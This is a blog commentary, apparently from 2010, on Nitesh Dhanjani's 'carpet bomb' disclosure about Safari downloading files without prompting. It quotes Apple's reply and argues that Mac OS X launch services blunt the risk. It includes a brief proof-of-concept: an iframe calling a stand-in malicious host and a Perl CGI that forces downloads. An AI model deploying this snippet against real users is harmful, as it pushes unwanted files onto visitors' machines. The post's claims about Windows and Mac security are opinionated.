Rixstep
 About | ACP | Buy | Industry Watch | Learning Curve | News | Products | Search | Substack
Home » Industry Watch

Nitesh Dhanjani's Carpet Bomb 'Bug'

Boom boom boom boom.
 - John Lee Hooker


Get It

Try It

Safari is still dropping carpet bombs on everyone's OS X, says Nitesh Dhanjani.

A little background.

Some time before 14 May 2008, security researcher Nitesh Dhanjani reported a vulnerability to Apple. He called it 'carpet bombing'. The bug is very simple to describe: although other browsers such as Microsoft's stellar Internet Explorer will prompt users for approval when downloads are about to begin, Apple's Safari will not.

Malicious websites can therefore 'carpet bomb' OS X systems with a hysterical number of files.

Apple told Dhanjani that they didn't intend to fix his 'bug' and that they didn't consider it a security issue. Dhanjani then obtained permission from Apple to discuss the bug publicly and disclosed it on 14 May 2008.

Apple wrote to Dhanjani at the time.

The ability to have a preference to 'ask me before downloading anything' is a good suggestion. We can file that as an enhancement request for the Safari team. Please note that we are not treating this as a security issue, but a further measure to raise the bar against unwanted downloads. This will require a review with the Human Interface team. We want to set your expectations that this could take quite a while, if it ever gets incorporated.

An 'exploit' would work as follows.

  1. A code reference in an HTML page.

    <iframe id=frame src=http://malicious.example.com/cgi-bin/carpet_bomb.cgi></iframe>

  2. A carpet_bomb.cgi that has the following.

    #!/usr/bin/perl

    print 'Content-type: blah/blah\n\n'

Safari won't know how to render content of type 'blah/blah' and will download it. This can often be seen on older systems with PDF files (before Safari began rendering them itself) and it can be seen with many file types today (where the remote site can in fact use different methods to force a download despite the file type).

A download does not an exploit make. Bad code has to run. Apple have long had a solution to this on Mac OS X - in what's been often described at this site as the 'protocol hole'.

Something external to the download has to prompt the system to run the download. This can be done with further web code, but the above prompt gives the user the way out along with the necessary alert. The user might run the download separately; the assumption in such case is the user knows what's up. The alert is explicit in its message: 'an application untrusted by the launch services is being invoked - do you really want to do this?'

This fix has been in place on all Mac OS X systems ever since. It took fifteen (15) days to reach Mac OS X users. The wait seemed interminable; but the fix was well worth waiting for (and has often been praised at this site). It's a 'perfect solution'.

The situation may be a bit different on Windows. After all, Windows isn't Mac OS X. Safari has a setting for opening 'safe files' after downloading but perhaps Windows does not. Running things on Windows is always infinitely more dangerous than doing the same on Mac OS X - or on any other platform for that matter. The scenario Dhanjani's able to achieve isn't common on the other side of the fence.



A dangerously decaffeinated Dan Goodin remarks casually at El Reg:

Apple's dismissal of the advisory probably has something to do with the requirement that users would have to double click on the downloaded file and enter an administrative password before their machines could be hijacked.

Sorry Dan, but there's of course no administrative password involved. There's no guarantee the user belongs to the admin group either. All the Mac OS X launch services want to know is if the user is aware what's going on - and simultaneously alert the user that something's been downloaded, possibly without the user being aware of it.

Most users would of course react to a desktop suddenly being populated as Windows is above, but the downloads would have to go to the desktop and not to the default ~/Downloads directory (or some other location for that matter).

Turning a 'carpet bomb' - even one initially unseen - into a system exploit is another matter entirely. But that doesn't stop Goodin.

But as Dhanjani points out, in a world in which state-sponsored attacks and corporate espionage are par for the course, it's never a good idea for outsiders to be able to control the files that are downloaded onto a user's computer.

So true. Goodin's of course referring to the Chinese attack on Google and a Conficker/Zeus attack, both of which belong solely in the domain of Microsoft Windows.

And he and Dhanjani are right: Dhanjani's carpet bomb becomes dangerous the same day Mac OS X joins Microsoft Windows at rock bottom.

See Also
Nitesh Dhanjani: Safari Carpet Bomb
The Register: Two years later, Apple Safari still open to 'carpet-bombing'
Nitesh Dhanjani: 2 Years Later: Droppin' Malware on Your OSX, Carpet Bomb Style (and Then Some!)

About | ACP | Buy | Industry Watch | Learning Curve | News | Products | Search | Substack
Copyright © Rixstep. All rights reserved.